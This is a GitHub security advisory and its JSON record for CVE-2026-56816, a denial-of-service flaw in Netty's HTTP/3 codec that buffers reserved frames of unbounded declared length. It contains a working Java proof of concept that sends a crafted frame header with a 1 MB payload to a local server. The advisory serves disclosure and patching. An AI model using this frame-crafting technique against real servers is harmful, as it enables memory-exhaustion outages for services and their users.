GHSA-HPCC-26XQ-25FV

Vulnerability from github – Published: 2026-07-22 21:42 – Updated: 2026-07-22 21:42
VLAI
Summary
Netty: Memory Exhaustion via HTTP/3 Reserved Frame Types
Details

Summary

Netty's Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAX_VALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened.

Details

io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame handles reserved frame types as follows:

                // Handling reserved frame types
                // https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8
                if (in.readableBytes() < payLoadLength) {
                    return 0;
                }

The payLoadLength is read directly from the wire and trusted implicitly. Since payLoadLength can be up to Integer.MAX_VALUE and there is no maximum payload length enforcement for reserved frames, the decoder will accumulate bytes in memory until the wire-provided length is reached.

This allows a bad actor to exhaust server memory by opening multiple QUIC streams and sending reserved frames with large payload lengths, followed by a small amount of data (e.g., up to the defined limit) on each stream.

PoC

    @Test
    public void test() throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
        try {
            X509Bundle cert = new CertificateBuilder()
                    .subject("cn=localhost")
                    .setIsCertificateAuthority(true)
                    .buildSelfSigned();

            QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
                    .applicationProtocols(Http3.supportedApplicationProtocols())
                    .build();

            CountDownLatch serverConnectionClosed = new CountDownLatch(1);

            ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
                    .sslContext(serverContext)
                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
                    .initialMaxData(10_000_000)
                    .initialMaxStreamDataBidirectionalLocal(1_000_000)
                    .initialMaxStreamDataBidirectionalRemote(1_000_000)
                    .initialMaxStreamsBidirectional(100)
                    .tokenHandler(InsecureQuicTokenHandler.INSTANCE)
                    .handler(new ChannelInitializer<QuicChannel>() {
                        @Override
                        protected void initChannel(QuicChannel ch) {
                            ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());
                            ch.pipeline().addLast(new Http3ServerConnectionHandler(
                                    new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            cause.printStackTrace();
                                            ctx.close();
                                        }
                                    }));
                        }
                    })
                    .build();

            Channel server = new Bootstrap()
                    .group(group)
                    .channel(NioDatagramChannel.class)
                    .handler(serverCodec)
                    .bind("127.0.0.1", 0)
                    .sync()
                    .channel();

            QuicSslContext clientContext = QuicSslContextBuilder.forClient()
                    .trustManager(InsecureTrustManagerFactory.INSTANCE)
                    .applicationProtocols(Http3.supportedApplicationProtocols())
                    .build();

            ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()
                    .sslContext(clientContext)
                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
                    .initialMaxData(10_000_000)
                    .initialMaxStreamDataBidirectionalLocal(1_000_000)
                    .build();

            Channel client = new Bootstrap()
                    .group(group)
                    .channel(NioDatagramChannel.class)
                    .handler(clientCodec)
                    .bind(0)
                    .sync()
                    .channel();

            QuicChannel quicChannel = QuicChannel.newBootstrap(client)
                    .handler(new Http3ClientConnectionHandler())
                    .remoteAddress(server.localAddress())
                    .localAddress(client.localAddress())
                    .connect()
                    .get();

            QuicStreamChannel rawStream =
                    quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();

            ByteBuf header = Unpooled.buffer();

            // Write reserved frame type (64)
            header.writeByte(0x40);
            header.writeByte(0x40);

            // Write payload length (Integer.MAX_VALUE)
            header.writeByte(0xC0);
            header.writeByte(0x00);
            header.writeByte(0x00);
            header.writeByte(0x00);
            header.writeByte(0x7F);
            header.writeByte(0xFF);
            header.writeByte(0xFF);
            header.writeByte(0xFF);

            rawStream.write(header);

            // Write the maximum allowed payload
            int payloadSize = 1_000_000;
            ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]);
            rawStream.writeAndFlush(payload).sync();

            assertTrue(quicChannel.isActive());

            quicChannel.closeFuture().await(5, TimeUnit.SECONDS);
            server.close().sync();
            client.close().sync();
        } finally {
            group.shutdownGracefully();
        }
    }

Impact

Denial of Service due to gradual memory exhaustion. Any application using Netty's HTTP/3 codec is impacted.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.16.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56816"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T21:42:42Z",
    "nvd_published_at": "2026-07-21T22:17:14Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nNetty\u0027s Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAX_VALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened.\n\n### Details\n`io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame` handles reserved frame types as follows:\n\n```java\n                // Handling reserved frame types\n                // https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8\n                if (in.readableBytes() \u003c payLoadLength) {\n                    return 0;\n                }\n```\n\nThe `payLoadLength` is read directly from the wire and trusted implicitly. Since `payLoadLength` can be up to Integer.MAX_VALUE and there is no maximum payload length enforcement for reserved frames, the decoder will accumulate bytes in memory until the wire-provided length is reached.\n\nThis allows a bad actor to exhaust server memory by opening multiple QUIC streams and sending reserved frames with large payload lengths, followed by a small amount of data (e.g., up to the defined limit) on each stream.\n\n### PoC\n\n```java\n    @Test\n    public void test() throws Exception {\n        EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());\n        try {\n            X509Bundle cert = new CertificateBuilder()\n                    .subject(\"cn=localhost\")\n                    .setIsCertificateAuthority(true)\n                    .buildSelfSigned();\n\n            QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())\n                    .applicationProtocols(Http3.supportedApplicationProtocols())\n                    .build();\n\n            CountDownLatch serverConnectionClosed = new CountDownLatch(1);\n\n            ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()\n                    .sslContext(serverContext)\n                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n                    .initialMaxData(10_000_000)\n                    .initialMaxStreamDataBidirectionalLocal(1_000_000)\n                    .initialMaxStreamDataBidirectionalRemote(1_000_000)\n                    .initialMaxStreamsBidirectional(100)\n                    .tokenHandler(InsecureQuicTokenHandler.INSTANCE)\n                    .handler(new ChannelInitializer\u003cQuicChannel\u003e() {\n                        @Override\n                        protected void initChannel(QuicChannel ch) {\n                            ch.closeFuture().addListener(f -\u003e serverConnectionClosed.countDown());\n                            ch.pipeline().addLast(new Http3ServerConnectionHandler(\n                                    new ChannelInboundHandlerAdapter() {\n                                        @Override\n                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n                                            cause.printStackTrace();\n                                            ctx.close();\n                                        }\n                                    }));\n                        }\n                    })\n                    .build();\n\n            Channel server = new Bootstrap()\n                    .group(group)\n                    .channel(NioDatagramChannel.class)\n                    .handler(serverCodec)\n                    .bind(\"127.0.0.1\", 0)\n                    .sync()\n                    .channel();\n\n            QuicSslContext clientContext = QuicSslContextBuilder.forClient()\n                    .trustManager(InsecureTrustManagerFactory.INSTANCE)\n                    .applicationProtocols(Http3.supportedApplicationProtocols())\n                    .build();\n\n            ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()\n                    .sslContext(clientContext)\n                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n                    .initialMaxData(10_000_000)\n                    .initialMaxStreamDataBidirectionalLocal(1_000_000)\n                    .build();\n\n            Channel client = new Bootstrap()\n                    .group(group)\n                    .channel(NioDatagramChannel.class)\n                    .handler(clientCodec)\n                    .bind(0)\n                    .sync()\n                    .channel();\n\n            QuicChannel quicChannel = QuicChannel.newBootstrap(client)\n                    .handler(new Http3ClientConnectionHandler())\n                    .remoteAddress(server.localAddress())\n                    .localAddress(client.localAddress())\n                    .connect()\n                    .get();\n\n            QuicStreamChannel rawStream =\n                    quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();\n\n            ByteBuf header = Unpooled.buffer();\n\n            // Write reserved frame type (64)\n            header.writeByte(0x40);\n            header.writeByte(0x40);\n\n            // Write payload length (Integer.MAX_VALUE)\n            header.writeByte(0xC0);\n            header.writeByte(0x00);\n            header.writeByte(0x00);\n            header.writeByte(0x00);\n            header.writeByte(0x7F);\n            header.writeByte(0xFF);\n            header.writeByte(0xFF);\n            header.writeByte(0xFF);\n\n            rawStream.write(header);\n\n            // Write the maximum allowed payload\n            int payloadSize = 1_000_000;\n            ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]);\n            rawStream.writeAndFlush(payload).sync();\n\n            assertTrue(quicChannel.isActive());\n\n            quicChannel.closeFuture().await(5, TimeUnit.SECONDS);\n            server.close().sync();\n            client.close().sync();\n        } finally {\n            group.shutdownGracefully();\n        }\n    }\n```\n\n### Impact\nDenial of Service due to gradual memory exhaustion. Any application using Netty\u0027s HTTP/3 codec is impacted.",
  "id": "GHSA-hpcc-26xq-25fv",
  "modified": "2026-07-22T21:42:43Z",
  "published": "2026-07-22T21:42:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-hpcc-26xq-25fv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56816"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: Memory Exhaustion via HTTP/3 Reserved Frame Types"
}



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